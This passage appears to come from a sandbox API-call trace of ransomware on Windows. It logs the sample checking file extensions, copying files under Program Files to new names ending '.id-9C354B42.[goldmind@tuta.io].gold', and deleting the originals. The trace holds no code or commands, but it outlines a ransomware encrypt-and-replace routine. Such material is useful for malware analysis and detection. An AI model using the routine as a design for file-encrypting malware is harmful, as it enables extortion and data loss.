(in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=14951) returned 1 [0043.828] CloseHandle (hObject=0x210) returned 1 [0043.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0043.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0043.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0043.828] lstrlenW (lpString=".doc") returned 4 [0043.828] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0043.828] lstrlenW (lpString=".docx") returned 5 [0043.828] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0043.828] lstrlenW (lpString=".pdf") returned 4 [0043.828] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0043.828] lstrlenW (lpString=".xls") returned 4 [0043.828] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0043.828] lstrlenW (lpString=".xlsx") returned 5 [0043.828] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0043.828] lstrlenW (lpString=".ppt") returned 4 [0043.828] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0043.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0043.828] lstrlenW (lpString=".zip") returned 4 [0043.828] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0043.828] lstrlenW (lpString=".rar") returned 4 [0043.828] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0043.828] lstrlenW (lpString=".bz2") returned 4 [0043.828] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0043.828] lstrlenW (lpString=".7z") returned 3 [0043.828] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0043.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0043.828] lstrlenW (lpString=".dbf") returned 4 [0043.828] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0043.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0043.828] lstrlenW (lpString=".1cd") returned 4 [0043.828] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0043.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0043.828] lstrlenW (lpString=".jpg") returned 4 [0043.828] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0043.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0043.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0043.829] lstrlenW (lpString=".doc") returned 4 [0043.829] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0043.829] lstrlenW (lpString=".docx") returned 5 [0043.829] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0043.829] lstrlenW (lpString=".pdf") returned 4 [0043.829] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0043.829] lstrlenW (lpString=".xls") returned 4 [0043.829] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0043.829] lstrlenW (lpString=".xlsx") returned 5 [0043.829] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0043.829] lstrlenW (lpString=".ppt") returned 4 [0043.829] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0043.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0043.829] lstrlenW (lpString=".zip") returned 4 [0043.829] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0043.829] lstrlenW (lpString=".rar") returned 4 [0043.829] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0043.829] lstrlenW (lpString=".bz2") returned 4 [0043.829] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0043.829] lstrlenW (lpString=".7z") returned 3 [0043.829] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0043.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0043.829] lstrlenW (lpString=".dbf") returned 4 [0043.829] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0043.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0043.829] lstrlenW (lpString=".1cd") returned 4 [0043.829] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0043.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0043.829] lstrlenW (lpString=".jpg") returned 4 [0043.829] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0043.829] lstrcmpiW (lpString1=".inc", lpString2=".gold") returned 1 [0043.829] lstrlenW (lpString="adcjavas.inc") returned 12 [0043.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.830] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=630) returned 1 [0043.830] CloseHandle (hObject=0x210) returned 1 [0043.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0043.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0043.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0043.830] lstrlenW (lpString=".doc") returned 4 [0043.830] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0043.830] lstrlenW (lpString=".docx") returned 5 [0043.830] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0043.830] lstrlenW (lpString=".pdf") returned 4 [0043.830] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0043.830] lstrlenW (lpString=".xls") returned 4 [0043.830] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0043.830] lstrlenW (lpString=".xlsx") returned 5 [0043.830] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0043.830] lstrlenW (lpString=".ppt") returned 4 [0043.830] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0043.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0043.830] lstrlenW (lpString=".zip") returned 4 [0043.830] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0043.830] lstrlenW (lpString=".rar") returned 4 [0043.830] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0043.830] lstrlenW (lpString=".bz2") returned 4 [0043.830] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0043.831] lstrlenW (lpString=".7z") returned 3 [0043.831] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0043.831] lstrlenW (lpString=".dbf") returned 4 [0043.831] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0043.831] lstrlenW (lpString=".1cd") returned 4 [0043.831] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0043.831] lstrlenW (lpString=".jpg") returned 4 [0043.831] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0043.831] lstrlenW (lpString=".doc") returned 4 [0043.831] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0043.831] lstrlenW (lpString=".docx") returned 5 [0043.831] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0043.831] lstrlenW (lpString=".pdf") returned 4 [0043.831] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0043.831] lstrlenW (lpString=".xls") returned 4 [0043.831] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0043.831] lstrlenW (lpString=".xlsx") returned 5 [0043.831] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0043.831] lstrlenW (lpString=".ppt") returned 4 [0043.831] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0043.831] lstrlenW (lpString=".zip") returned 4 [0043.831] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0043.831] lstrlenW (lpString=".rar") returned 4 [0043.831] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0043.831] lstrlenW (lpString=".bz2") returned 4 [0043.831] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0043.831] lstrlenW (lpString=".7z") returned 3 [0043.831] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0043.831] lstrlenW (lpString=".dbf") returned 4 [0043.831] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0043.831] lstrlenW (lpString=".1cd") returned 4 [0043.831] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0043.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0043.831] lstrlenW (lpString=".jpg") returned 4 [0043.831] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0043.831] lstrcmpiW (lpString1=".inc", lpString2=".gold") returned 1 [0043.831] lstrlenW (lpString="adcvbs.inc") returned 10 [0043.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.832] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=623) returned 1 [0043.832] CloseHandle (hObject=0x210) returned 1 [0043.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0043.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0043.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0043.832] lstrlenW (lpString=".doc") returned 4 [0043.832] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0043.832] lstrlenW (lpString=".docx") returned 5 [0043.832] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0043.832] lstrlenW (lpString=".pdf") returned 4 [0043.832] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0043.832] lstrlenW (lpString=".xls") returned 4 [0043.832] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0043.832] lstrlenW (lpString=".xlsx") returned 5 [0043.832] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0043.832] lstrlenW (lpString=".ppt") returned 4 [0043.832] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0043.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0043.832] lstrlenW (lpString=".zip") returned 4 [0043.832] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0043.832] lstrlenW (lpString=".rar") returned 4 [0043.832] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0043.832] lstrlenW (lpString=".bz2") returned 4 [0043.832] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0043.832] lstrlenW (lpString=".7z") returned 3 [0043.832] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0043.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0043.832] lstrlenW (lpString=".dbf") returned 4 [0043.832] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0043.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0043.832] lstrlenW (lpString=".1cd") returned 4 [0043.833] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0043.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0043.833] lstrlenW (lpString=".jpg") returned 4 [0043.833] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0043.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0043.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0043.833] lstrlenW (lpString=".doc") returned 4 [0043.833] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0043.833] lstrlenW (lpString=".docx") returned 5 [0043.833] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0043.833] lstrlenW (lpString=".pdf") returned 4 [0043.833] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0043.833] lstrlenW (lpString=".xls") returned 4 [0043.833] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0043.833] lstrlenW (lpString=".xlsx") returned 5 [0043.833] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0043.833] lstrlenW (lpString=".ppt") returned 4 [0043.833] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0043.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0043.833] lstrlenW (lpString=".zip") returned 4 [0043.833] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0043.833] lstrlenW (lpString=".rar") returned 4 [0043.833] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0043.833] lstrlenW (lpString=".bz2") returned 4 [0043.833] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0043.833] lstrlenW (lpString=".7z") returned 3 [0043.833] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0043.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0043.833] lstrlenW (lpString=".dbf") returned 4 [0043.833] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0043.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0043.833] lstrlenW (lpString=".1cd") returned 4 [0043.833] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0043.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0043.833] lstrlenW (lpString=".jpg") returned 4 [0043.833] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0043.833] lstrcmpiW (lpString1=".inc", lpString2=".gold") returned 1 [0043.833] lstrlenW (lpString="oledbjvs.inc") returned 12 [0043.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.008] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=9804) returned 1 [0044.009] CloseHandle (hObject=0x178) returned 1 [0044.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0044.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0044.009] lstrlenW (lpString=".doc") returned 4 [0044.009] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0044.009] lstrlenW (lpString=".docx") returned 5 [0044.009] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0044.009] lstrlenW (lpString=".pdf") returned 4 [0044.009] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0044.009] lstrlenW (lpString=".xls") returned 4 [0044.009] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0044.009] lstrlenW (lpString=".xlsx") returned 5 [0044.009] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0044.009] lstrlenW (lpString=".ppt") returned 4 [0044.009] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0044.009] lstrlenW (lpString=".zip") returned 4 [0044.009] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0044.009] lstrlenW (lpString=".rar") returned 4 [0044.009] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0044.009] lstrlenW (lpString=".bz2") returned 4 [0044.009] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0044.009] lstrlenW (lpString=".7z") returned 3 [0044.009] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0044.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0044.009] lstrlenW (lpString=".dbf") returned 4 [0044.009] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0044.308] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0044.308] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0044.946] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0044.946] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0044.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0044.946] GetLastError () returned 0x0 [0044.946] ReadFile (in: hFile=0x190, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x4360, lpOverlapped=0x0) returned 1 [0044.948] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x4370, lpOverlapped=0x0) returned 1 [0044.949] ReadFile (in: hFile=0x190, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0044.949] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe4, lpOverlapped=0x0) returned 1 [0044.949] SetEndOfFile (hFile=0x1a0) returned 1 [0044.950] CloseHandle (hObject=0x1a0) returned 1 [0044.950] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0044.950] SetEndOfFile (hFile=0x190) returned 1 [0044.951] CloseHandle (hObject=0x190) returned 1 [0044.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0044.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1 [0045.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0045.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0045.233] lstrlenW (lpString=".doc") returned 4 [0045.233] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0045.233] lstrlenW (lpString=".docx") returned 5 [0045.233] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0045.233] lstrlenW (lpString=".pdf") returned 4 [0045.233] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0045.233] lstrlenW (lpString=".xls") returned 4 [0045.233] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0045.233] lstrlenW (lpString=".xlsx") returned 5 [0045.233] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0045.233] lstrlenW (lpString=".ppt") returned 4 [0045.233] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0045.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0045.233] lstrlenW (lpString=".zip") returned 4 [0045.233] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0045.233] lstrlenW (lpString=".rar") returned 4 [0045.233] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0045.233] lstrlenW (lpString=".bz2") returned 4 [0045.233] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0045.233] lstrlenW (lpString=".7z") returned 3 [0045.233] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0045.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0045.233] lstrlenW (lpString=".dbf") returned 4 [0045.233] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0045.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0045.233] lstrlenW (lpString=".1cd") returned 4 [0045.233] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0045.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0045.233] lstrlenW (lpString=".jpg") returned 4 [0045.233] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0045.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0045.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0045.233] lstrlenW (lpString=".doc") returned 4 [0045.233] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0045.233] lstrlenW (lpString=".docx") returned 5 [0045.233] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0045.233] lstrlenW (lpString=".pdf") returned 4 [0045.234] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0045.234] lstrlenW (lpString=".xls") returned 4 [0045.234] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0045.234] lstrlenW (lpString=".xlsx") returned 5 [0045.234] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0045.234] lstrlenW (lpString=".ppt") returned 4 [0045.234] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0045.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0045.234] lstrlenW (lpString=".zip") returned 4 [0045.234] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0045.234] lstrlenW (lpString=".rar") returned 4 [0045.234] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0045.234] lstrlenW (lpString=".bz2") returned 4 [0045.234] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0045.234] lstrlenW (lpString=".7z") returned 3 